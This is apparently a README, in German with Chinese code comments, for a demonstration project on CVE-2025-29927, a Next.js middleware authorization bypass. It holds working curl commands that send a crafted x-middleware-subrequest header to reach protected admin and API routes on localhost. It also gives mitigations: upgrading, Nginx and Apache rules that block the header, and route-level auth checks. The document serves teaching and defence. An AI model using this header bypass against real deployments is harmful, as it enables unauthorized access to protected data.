
Demonstriert die Middleware-Autorisierungs-Bypass-Schwachstelle in Next.js (CVE-2025-29927), die es unbefugten Benutzern ermöglicht, auf geschützte Informationen zuzugreifen.
Dieses Repo enthält ein Beispielprojekt, das die Middleware-Autorisierungsumgehung (CVE-2025-29927) in Next.js demonstriert. Diese Schwachstelle ermöglicht es nicht autorisierten Benutzern, auf geschützte Ressourcen zuzugreifen.
CVE-2025-29927 ist eine schwerwiegende Sicherheitslücke (CVSS-Score: 9.1), die das Middleware-System von Next.js betrifft. Angreifer können die Sicherheitsprüfungen der Middleware vollständig umgehen, indem sie einem HTTP-Request einen speziell gestalteten x-middleware-subrequest-Header hinzufügen.
/admin) zugreifen/api/confidential) möglichcd in das Verzeichnis wechseln und npm install ausführen, um die Abhängigkeiten zu installierennpm run dev ausführen, um den Next.js-Entwicklungsserver zu startenhttp://localhost:3000 im Browser öffnen, um die aktuelle Website anzuzeigenNext.js verwendet den internen Header x-middleware-subrequest, um Endlosschleifen durch rekursive Middleware-Aufrufe zu verhindern. Dieser Header kann jedoch durch externe Requests ausgenutzt werden. Wenn ein Request diesen Header enthält und die maximale Rekursionstiefe (MAX_RECURSION_DEPTH) erreicht wird, überspringt Next.js die Ausführung der Middleware vollständig.
Versuchen Sie zunächst, den geschützten Pfad normal aufzurufen:
# 訪問受保護的管理員頁面
curl http://localhost:3000/admin/dashboard -v
Erwartetes Ergebnis: Sie werden zur Anmeldeseite umgeleitet (302 Redirect auf /login)
# 訪問受保護的 API
curl http://localhost:3000/api/confidential -v
Erwartetes Ergebnis: Es wird ein 401 Unauthorized-Fehler zurückgegeben
Verwenden Sie nun einen speziell gestalteten Header, um die Middleware zu umgehen:
# 繞過 /admin 路徑保護
curl http://localhost:3000/admin/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
Erwartetes Ergebnis: Der Inhalt der Admin-Seite wird erfolgreich abgerufen (200 OK)
# 繞過 /api/confidential 保護
curl http://localhost:3000/api/confidential \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
Erwartetes Ergebnis: Der API-Zugriff gelingt und vertrauliche Informationen werden abgerufen (200 OK)
Sie können die Schwachstelle auch mit den Entwicklertools des Browsers testen:
x-middleware-subrequestmiddleware:middleware:middleware:middleware:middlewarehttp://localhost:3000/admin/dashboard aufrufenWenn die Middleware einen Request mit dem x-middleware-subrequest-Header empfängt:
Aktualisieren Sie auf eine behobene Version:
Wenn ein sofortiges Upgrade nicht möglich ist, können Requests mit dem x-middleware-subrequest-Header auf Ebene des Reverse-Proxys (Nginx, Apache usw.) blockiert werden:
Nginx-Konfigurationsbeispiel:
location / {
if ($http_x_middleware_subrequest) {
return 403;
}
proxy_pass http://localhost:3000;
}
Apache-Konfigurationsbeispiel:
RequestHeader unset x-middleware-subrequest
Implementieren Sie neben der Middleware auch Authentifizierungsprüfungen in den Routen-Handlern:
// 在 API 路由中添加額外的認證檢查
export async function GET(request) {
// 不要只依賴 middleware,在這裡也檢查認證
if (!isAuthenticated(request)) {
return new Response('Unauthorized', { status: 401 });
}
// ... 處理請求
}